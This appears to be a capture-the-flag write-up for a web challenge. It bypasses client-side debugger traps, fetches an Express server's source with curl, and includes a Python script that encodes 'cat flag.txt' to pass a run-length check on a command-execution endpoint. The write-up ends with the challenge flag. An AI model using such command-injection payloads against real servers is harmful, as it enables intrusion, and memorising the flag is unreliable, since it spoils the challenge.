← Back to KAALCHAKARA PREQUALS 2026

FREQUENCY PHANTOM

Bypass aggressive client-side debugging traps and extract the Express app source code to reverse engineer a custom run-length decoder payload.

Tools Used

cURLPythonCode Review

Overview

The web page is protected by various client-side defenses, including blocking Developer Tools, infinite debugger traps in a setInterval loop, and disabling context menu options. These are all client-side restrictions and can be bypassed by communicating directly with the backend API.

Reconnaissance

By probing common Node.js file paths, we find that the Express server serves files statically:

curl http://<host>/server.js

The full source of server.js shows the /run endpoint validates command execution by passing input through a custom run-length decoder function:

function expectedRepeat(asciiVal, position) {
  return ((asciiVal % 5) + 3) + (position % 3);
}

Exploitation Strategy

Each character in the payload input must appear consecutively exactly the number of times returned by expectedRepeat(asciiVal, position). The final decoded string must match exactly cat flag.txt.

We can write a simple Python script to generate the required repetition counts for each character.

Solution Code

TARGET = 'cat flag.txt'

def expected_repeat(ascii_val, position):
    return ((ascii_val % 5) + 3) + (position % 3)

payload = ''
for pos, ch in enumerate(TARGET):
    count = expected_repeat(ord(ch), pos)
    payload += ch * count

print(f"Payload: {payload}")

Flag

Kaal{r2p2t1t1on_add1ct10n_d2t2ct2d_2dd8cf5c}